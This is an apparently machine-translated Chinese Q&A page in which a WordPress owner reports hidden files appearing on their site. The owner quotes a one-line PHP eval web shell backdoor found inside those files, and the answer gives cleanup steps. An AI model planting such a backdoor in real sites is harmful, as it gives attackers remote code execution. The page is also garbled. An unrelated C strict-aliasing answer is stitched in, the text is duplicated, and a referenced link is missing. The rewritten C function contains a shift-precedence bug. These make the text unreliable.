php - 这是我的 wordpress 安装中的 php 漏洞吗?
我一直在监视我的 wordpress 安装,并且不时在 /wp-content/mu-plugins/wp-nc-easywp/plugin/Http/Checker/ 等位置创建文件
文件名始终以 .1599.... 开头,后跟随机数 ex。.1599674957 或 .1599
问题描述
我一直在监视我的 wordpress 安装,并且不时在 /wp-content/mu-plugins/wp-nc-easywp/plugin/Http/Checker/ 等位置创建文件
文件名始终以 .1599.... 开头,后跟随机数 ex。.1599674957 或 .1599875789
这个文件里面的代码是 <?php @eval($_HEADERS["E"]);@eval($_REQUEST["E"]);
我所做的是在 wordpress 文件夹中递归删除所有带有 .1599* 的文件。
我该如何解决这个问题?
感谢您的帮助
主要问题不太可能出在函数a_inverse()
本身,volatile
如果数据实际上不是易失性的,则 -qualifying 参数改变行为的事实是偶然的。
很可能,问题的根源实际上在调用者身上。实际上,在评论中,您描述了计算参数指针,如下所示:
uint32_t *whole = ...;
uint16_t *left = (uint16_t *) whole;
uint16_t *right = left + 1;
大概会跟进一个电话,例如
a_inverse(left, right);
. uint16_t *
允许强制类型转换。指针算法的允许性是有争议的,但在实践中它不太可能成为问题。但是由于结果left
和right
指针实际上并不指向uint16_t
对象,因此试图使用它们来访问它们所指向的对象违反了严格的别名规则(C18,第 6.5/7 段),因此会产生未定义的行为。
严格的别名规则说,只能通过兼容类型的左值 +/- 限定和符号差异(可能在联合中)或通过字符类型的左值来访问对象。(后者的主要含义是您可以通过 . 访问任何对象的表示char *
。)这允许编译器使用数据类型分析来通知优化选择。
GCC 有一个标志,-fno-strict-aliasing
,它告诉它不要使用类型分析来做出优化决策——基本上,迫使它假设任何指针都可以别名为任何其他指针。如果您不想解决问题,那么使用该标志可能会缓解它。
另一方面,我怀疑所有指针(错误)使用都是错误的优化尝试。我会在没有以下情况下重写函数:
uint32_t a_inverse(uint32_t whole) {
uint16_t left = whole; // x86 is little-endian
uint16_t right = whole >> 16;
right ^= left;
right = ROTL16(right, 14);
left -= right;
left = ROTL16(left, 7);
return right << 16 + left;
}
...并期望它至少一样快,尤其是因为没有混叠风险来限制可用的优化。
解决方案
您的网站被黑了。这些通常被黑客插入到您的 PHP 文件中。你应该:
- 用这个查找所有文件。
- 将所有这些文件恢复到其原始状态(通过从 WordPress.org 下载或手动修复)
- 删除任何不应该在您的 WordPress 中的文件。
- 在 WordPress 上传文件夹中查找所有 PHP 文件并将其删除(它们不应该在那里)
- 将您的 WordPress 核心和所有插件更新到最新版本以消除潜在的漏洞。
一般来说,您应该定期备份。你应该经常更新你的 WordPress。
推荐阅读
- javascript - 在 ES6 中创建多维数组
- node.js - 如何通过表单将嵌入代码存储到 Mongodb?
- python - 使用 Astropy 打开 FITS 时出现 OSError 24
- arrays - 使用数组和 if 或 for 循环并输出单独的文件
- angular - 删除 Fomantic UI(语义 UI 分支)中未使用的 CSS/JS
- javascript - 即使更改了基础层,如何在前面保持覆盖层
- sql - 获取 main 中每个子组的计数
- reactjs - 未定义函数(多个函数调用) - React
- javascript - 当提供者组件父状态发生变化时,为什么不能更新子组件中的值(带有反应上下文)?
- android - 使用数据绑定从 ViewModel 显示/隐藏 ProgessBar - MVVM
我一直在监视我的 wordpress 安装,并且不时在 /wp-content/mu-plugins/wp-nc-easywp/plugin/Http/Checker/ 等位置创建文件
文件名始终以 .1599.... 开头,后跟随机数 ex。.1599674957 或 .1599
问题描述
我一直在监视我的 wordpress 安装,并且不时在 /wp-content/mu-plugins/wp-nc-easywp/plugin/Http/Checker/ 等位置创建文件
文件名始终以 .1599.... 开头,后跟随机数 ex。.1599674957 或 .1599875789
这个文件里面的代码是 <?php @eval($_HEADERS["E"]);@eval($_REQUEST["E"]);
我所做的是在 wordpress 文件夹中递归删除所有带有 .1599* 的文件。
我该如何解决这个问题?
感谢您的帮助
主要问题不太可能出在函数a_inverse()
本身,volatile
如果数据实际上不是易失性的,则 -qualifying 参数改变行为的事实是偶然的。
很可能,问题的根源实际上在调用者身上。实际上,在评论中,您描述了计算参数指针,如下所示:
uint32_t *whole = ...;
uint16_t *left = (uint16_t *) whole;
uint16_t *right = left + 1;
大概会跟进一个电话,例如
a_inverse(left, right);
. uint16_t *
允许强制类型转换。指针算法的允许性是有争议的,但在实践中它不太可能成为问题。但是由于结果left
和right
指针实际上并不指向uint16_t
对象,因此试图使用它们来访问它们所指向的对象违反了严格的别名规则(C18,第 6.5/7 段),因此会产生未定义的行为。
严格的别名规则说,只能通过兼容类型的左值 +/- 限定和符号差异(可能在联合中)或通过字符类型的左值来访问对象。(后者的主要含义是您可以通过 . 访问任何对象的表示char *
。)这允许编译器使用数据类型分析来通知优化选择。
GCC 有一个标志,-fno-strict-aliasing
,它告诉它不要使用类型分析来做出优化决策——基本上,迫使它假设任何指针都可以别名为任何其他指针。如果您不想解决问题,那么使用该标志可能会缓解它。
另一方面,我怀疑所有指针(错误)使用都是错误的优化尝试。我会在没有以下情况下重写函数:
uint32_t a_inverse(uint32_t whole) {
uint16_t left = whole; // x86 is little-endian
uint16_t right = whole >> 16;
right ^= left;
right = ROTL16(right, 14);
left -= right;
left = ROTL16(left, 7);
return right << 16 + left;
}
...并期望它至少一样快,尤其是因为没有混叠风险来限制可用的优化。
您的网站被黑了。这些通常被黑客插入到您的 PHP 文件中。你应该:
- 用这个查找所有文件。
- 将所有这些文件恢复到其原始状态(通过从 WordPress.org 下载或手动修复)
- 删除任何不应该在您的 WordPress 中的文件。
- 在 WordPress 上传文件夹中查找所有 PHP 文件并将其删除(它们不应该在那里)
- 将您的 WordPress 核心和所有插件更新到最新版本以消除潜在的漏洞。
一般来说,您应该定期备份。你应该经常更新你的 WordPress。